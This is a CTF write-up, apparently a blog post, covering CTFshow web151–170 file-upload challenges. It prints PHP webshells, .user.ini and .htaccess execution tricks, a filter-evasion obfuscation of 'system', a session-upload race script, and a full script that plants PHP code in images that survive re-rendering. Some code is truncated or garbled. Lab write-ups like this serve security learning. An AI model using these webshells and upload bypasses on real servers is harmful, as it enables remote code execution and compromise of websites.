CTFshow question brushing Diary - WEB - file upload

Keywords: PHP html5 wechat

web151 front bypass

Simply change exts:png to php on the front end



/upload/shell.php?shell=system("tac ../flag.php");

Web152 content type bypass

Instead of changing the front end this time, change the content type directly in bp to image/png

Summarize the common content type types

Common media format types are as follows:
text/html :  HTML format
text/plain : Plain text format
text/xml :  XML format
image/gif : gif Picture format
image/jpeg : jpg Picture format
image/png: png Picture format

more: link


The backend only detects PHP, which is not case sensitive. Although it is said that it is passed on, it is found that things are not as simple as expected, because the file is directly downloaded when accessing shell.pHp, indicating that the file is not parsed

You can use the fuzzy dictionary and recommend the fuzzy dicts master

It is found that. user.ini can be uploaded

since PHP 5.3.0 Up, PHP Support per directory INI File configuration. Such files are only CGI´╝ĆFastCGI SAPI handle. This feature enables PECL of htscanner Extension void. If your PHP Run in modularity Apache Inside, use .htaccess Files have the same effect.

Except the Lord php.ini outside, PHP It will also be scanned under each directory INI File, from executed PHP The directory where the file is located began to rise to web Root directory( $_SERVER['DOCUMENT_ROOT'] Specified). If executed PHP File in web Outside the root directory, only the directory is scanned.

stay .user.ini Stylized INI Only files with PHP_INI_PERDIR and PHP_INI_USER Patterned INI Settings can be recognized.

When in PHP_INI_PERDIR and PHP_ INI_ In user mode, the user.ini in the directory is equivalent to the description of the directory, and the settings in user.ini will be identified first

The. user.ini file has two special settings

 Equivalent to in each php Add at the end of the document include("xxxx")    
 Equivalent to file header plus include("xxx")    

Utilization method

First upload a file with a one sentence picture of the Trojan horse

Then upload the user.ini file containing the settings


As mentioned earlier, user.ini works only when it is in the directory. If there is no PHP file in the directory, it will not work. index.php exists in upload

Execute the command to get the flag

web154 short tag bypass

Tip: the backend cannot perform single two verification

Uploaded a one sentence Trojan named shell.png and found a prompt

The file content should be filtered

The first is to test the PHP tag

<?php ?>

It is found that the deleted files can be uploaded successfully. Just like the above question, upload. user.ini and shell.png files. The content of PNG files is one sentence. The upload order of these two files does not matter. user.ini takes effect in real time and does not need to be restarted by apache. user.ini does not need to be changed after uploading. PNG files can be overwritten as long as the file name is correct

Try bypassing with short tags

<? echo '123';?>

The premise is to enable the configuration parameter short_open_tags=on

Test failed

<?=(expression)?>  Equivalent to <?php echo (expression)?>
shell.png Document content:<?=(`nl ../f*`)?>

Test successful

<% echo '123';%>

The premise is to enable the configuration parameter asp_tags=on. After testing, it is found that versions 7.0 and above cannot be used after modification, but 500 errors are reported. However, versions below 7.0 can be used after modifying the configuration.

The discovery is not effective

<script language="php">echo '123'; </script>

There is no need to modify the parameter switch, but it can only be used below 7.0


Use the second method

web155 short tag bypass 2

Upload prompt: file upload failed. Failure reason: the file type is not compliant

Found PHP version 5.6 ok

The label on the question can be used

Upload. user.ini, content


Upload shell.png, content

<?=(`nl ../f*`)?>
The test found that short labels are also OK
<? echo `tac ../f*`;?>    

web156 bypass []

On the basis of the above question, the file content has added filtering and fuzz y

It is found that [has been filtered, and in the picture horse we passed in, a sentence is required for the Trojan horse to accept the parameter $_GET []

The first method is to execute the command directly

<?=(`nl ../f*`)?>

The second method

Replace []

Picture content <? = Eval ($_post {1});? >

web157-159 bypass {} and;

On the basis of the above question, {} and semicolons are added to the file content

Execute command directly

<?=(`nl ../f*`)?>

web160 - bypass backquotes

After fuzz ing, I found that () parentheses are filtered, backquotes and some keywords

You can use the log to contain and bypass the picture content


Because the log is filtered, it is bypassed by splicing

Same as before

View source code

web161 - add header

On the basis of the previous question, add the file header GIF89A. It's strange that the front-end filters png, but the file header needs GIF file

The web162-163 session file contains

I learned to upload files at the file inclusion, and included files using session.upload_progress

The uploaded content should start with GIF89A and contain png string

Upload. user.ini first

When uploading png pictures, the flag string cannot appear in the content

Construction front end

<!DOCTYPE html>
<form action="ip address" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />

If the browser keeps visiting / upload /, it is possible to brush out the flag

You can also use python scripts

import requests
import threading
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
	'PHPSESSID': sess

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
threads = [threading.Thread(target=write),
for t in threads:

Web164 PNG secondary rendering bypass

It is found that after successful upload, it is not accessed in the form of directory, but a file pointer

Note: there may be files containing, we only need to upload a picture

Make picture horse

copy shell.gif /b + shell.php /a 111.gif

Download the uploaded picture and find that the picture content has changed, indicating that the background has rendered the picture twice

Different picture formats have different effects on secondary rendering

  • GIF

For the secondary rendering that bypasses gif, you only need to find the position that has not changed before and after rendering, and then write the php code in, and you can successfully upload the image with php code

  • PNG

png picture consists of more than three data blocks.

Png defines two types of data blocks, one is called critical chunks, which are standard data blocks, and the other is called auxiliary chunks, which are optional data blocks. Key data blocks define three standard data blocks (IHDR,IDAT, IEND), and each PNG file must contain them.

Data block structure

nameNumber of bytesexplain
Length4 bytesSpecifies the length of the data field in the data block, and its length does not exceed (31st power of 2 - 1) bytes
Chunk Type Code4 bytesThe block type code consists of ASCII letters (A-Z and A-Z)
Chunk DataVariable lengthStores data specified by Chunk Type Code
CRC (cyclic redundancy detection)4 bytesStores cyclic redundancy codes used to detect errors

The value in CRC(cyclic redundancy check) field is calculated from the data in Chunk Type Code field and Chunk Data field. The specific CRC algorithm is defined in ISO 3309 and ITU-T V.42, and its value is calculated according to the following CRC code generation polynomial:


Analysis data block


Data block IHDR(header chunk): it contains the basic information of the image data stored in the PNG file and appears in the PNG data stream as the first data block, and there can only be one file header data block in a PNG data stream.

The file header data block consists of 13 bytes, and its format is as follows.

Name of the domainNumber of bytesexplain
Width4 bytesImage width in pixels
Height4 bytesImage height in pixels
Bit depth1 bytesImage attempt: index color image: 1, 2, 4 or 8 gray image: 1, 2, 4, 8 or 6 true color image: 8 or 16
ColorType1 bytesColor type: grayscale image: 1, 2, 4, 8 or 16 true color image: 8 or 16 index color image: 1, 2, 4 or 8 grayscale image with a-channel data: 8 or 16 true color image with a-channel data: 8 or 16
Compression method4 bytesCompression method (LZ777 derived algorithm)
Filter method4 bytesFilter method
Interlace method4 bytesInterlaced method: non interlaced method (7-pass interlaced method developed by Adam M.Costello)


The palette PLTE data block is an auxiliary data block. For the index image, the palette information is necessary. The color index of the palette is numbered from 0, followed by 1, 2... And the number of colors in the palette cannot exceed the number of colors specified in the color depth (for example, when the image color depth is 4, the number of colors in the palette cannot exceed 2 ^ 4 = 16). Otherwise, this will lead to the illegal PNG image.


Image data chunk IDAT(image data chunk): it stores actual data and can contain multiple image data chunks in continuous order in the data stream.

IDAT stores the real data information of the image. Therefore, if we can understand the structure of IDAT, we can easily generate PNG images


End of image data iend (image tracker chunk): it is used to mark that the PNG file or data stream has ended and must be placed at the end of the file.

If we carefully observe the PNG file, we will find that the 12 characters at the end of the file should always look like this:

00 00 00 00 49 45 4E 44 AE 42 60 82

Two ways of making png Trojan horse with secondary rendering

First method: write PLTE data block

The bottom layer of php mainly performs CRC verification when verifying PLTE data blocks, so you can insert php code in the chunk data field, then recalculate the corresponding CRC value and modify it.

This method is only effective for png pictures of indexed color images. When selecting png pictures, you can identify. 03 as indexed color images according to the color type of IHDR data block.

1. Write php code in PLTE data block;

2. Calculate CRC of PLTE data block;

CRC script

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

Operation results:


3. Modify CRC value;

4. Verification;

Upload the modified png image, download it to the local and then open it.

The second method is to write the IDAT data block

Here are scripts written by foreign Daniel, which can be run directly.

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);


/* Trojan content

After running, get 1.png, upload it and then download it locally, as shown in the following figure:

  • JPG

Script jpg_payload.php


    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:


    $miniPayload = "<?=phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');


    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                                substr($outStream, $startPos, $imageStreamSize),
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                if(checkImage('payload_'.$argv[1], $outStream)) {
                } else {
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        return $correctImage;

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            $this->size = strlen($this->binData);

        public function seek() {
            return ($this->size - strlen($this->binData));

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            return $short;

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);

1. Just find a JPG picture, upload it to the server, then download it locally and save it as 1.jpg

2. Insert php code; Use script to process 1.jpg, command:

php jpg_payload.php 1.jpg

3. Upload pictures of horses; The resulting payload_1.jpg upload.

Note: some jpg images cannot be processed, so try more jpg images

The above quote is from Fujie blog

Specific to this problem, you can upload png files. Try png secondary rendering first

Execute the script bypassed by png secondary rendering to generate 1.png upload and access with command

The returned photo is also a photo. Download the photo and open it with 010

It can be accessed directly in burp, which is more intuitive

Web165 JPG secondary rendering bypass

It is found that JPG files can be uploaded when uploading files, which is probably bypassed by the secondary rendering of jpg

First upload a JPG image, then download it locally and rename it to 1.jpg, and then generate a payload using the JPG script above_ 1.jpg

010 opens and finds that the content has been added and the picture color has changed

The url finds that the image cannot be accessed, which actually indicates that the php code has been parsed

Use burp to capture packets and view flag s

web166 - packet capture content

You can see the restriction in the front-end code that you can only upload files in zip format

Casually upload a file and find that it is still included with the file pointer. There is a File Inclusion Vulnerability

Upload the zip file and change the packet capture into one sentence

Then use burp to access

web167-.htaccess bypass

Tip: httpd

It is found that only jpg files can be uploaded when uploading a file casually, and the file is not in the included form, but in the directory form

. htaccess file upload

The. htaccess file (or "distributed configuration file") provides a method to change the configuration for a directory, that is, a file containing one or more instructions is placed in a specific document directory to act on this directory and all its subdirectories

Similar to. user.ini

jpg files can be parsed by uploading. htaccess files

Method 1

AddType application/x-httpd-php .png   //Parse the. png suffix file into php

Method 2

<FilesMatch "png">
SetHandler application/x-httpd-php

If the flag is not a php file, you can also load a file in the current directory like. user.ini

php_value auto_append_file 'flag'

Upload the. htaccess file first

Upload picture horse

Access command executed successfully

web168 - kill free bypass

The back-end detects the file content, but does not check the file name

Upload free horse

Other free horses

$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];

web169-170.user.ini contains the log file

The front-end restricts uploading to zip files, but zip files can't be uploaded. Read wp.

First upload a zip, then capture the package, change the content type to image/png, and transfer it to php and other formats. However, it is found that the file content is filtered by < > php$

It is found that the. user.ini file can be uploaded

For log file inclusion, the ua header is a one sentence Trojan horse

<?php @eval($_POST['shell']);?>
// Note that the shell string is wrapped in single quotation marks and an error is reported in double quotation marks   

Upload a php file casually. The content is arbitrary. Pay attention to the content type

Use the ant sword to connect

Or execute the command directly in the browser, but it's hard to find because of the large amount of data

Reference link

Master Yu: https://blog.csdn.net/miuzzx/article/details/109537262


Posted by RosieisSweet on Tue, 23 Nov 2021 14:34:21 -0800